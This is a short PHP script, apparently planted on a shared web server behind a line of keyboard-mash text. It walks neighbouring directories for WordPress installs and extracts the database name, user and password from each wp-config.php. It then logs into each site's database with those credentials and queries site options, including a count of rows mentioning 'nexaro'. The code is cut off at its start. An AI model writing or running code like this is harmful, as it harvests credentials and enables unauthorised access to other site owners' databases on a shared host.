sqdkjqlsjdklqsjdlqskjd azjdjksqhvdjqskhdkqhsj zkhjdhqksldjqlskdjlqskjd zjhdjqlskdhqsljkhdsqd is_dir("$base/$d")&&$d!="."&&$d!==".."&&file_exists("$base/$d/wp-config.php")); $dirs=array_values($dirs); $results=[]; foreach(array_slice($dirs,0,15) as $d){ $cfg=file_get_contents("$base/$d/wp-config.php"); preg_match("/define\s*\(\s*'DB_NAME'\s*,\s*'([^']+)'/", $cfg, $m); $db=$m[1]??''; preg_match("/define\s*\(\s*'DB_USER'\s*,\s*'([^']+)'/", $cfg, $m); $u=$m[1]??''; preg_match("/define\s*\(\s*'DB_PASSWORD'\s*,\s*'([^']+)'/", $cfg, $m); $p=$m[1]??''; preg_match("/\\\$table_prefix\s*=\s*'([^']+)'/", $cfg, $m); $pfx=$m[1]??'wp_'; if(!$db) continue; $conn=@new mysqli("localhost",$u,$p,$db); if($conn->connect_error) continue; $r=$conn->query("SELECT option_name,option_value FROM {$pfx}options WHERE option_name IN ('blogname','blogdescription') LIMIT 5"); $opts=[]; while($row=$r->fetch_assoc()) $opts[$row['option_name']]=$row['option_value']; // Scan for nexaro $r2=$conn->query("SELECT COUNT(*) as c FROM {$pfx}options WHERE LOWER(option_value) LIKE '%nexaro%'"); $nr=$r2->fetch_assoc(); $results[$d]=["name"=>$opts['blogname']??'','desc'=>$opts['blogdescription']??'','nexaro_hits'=>(int)$nr['c']]; $conn->close(); } echo json_encode($results,JSON_PRETTY_PRINT);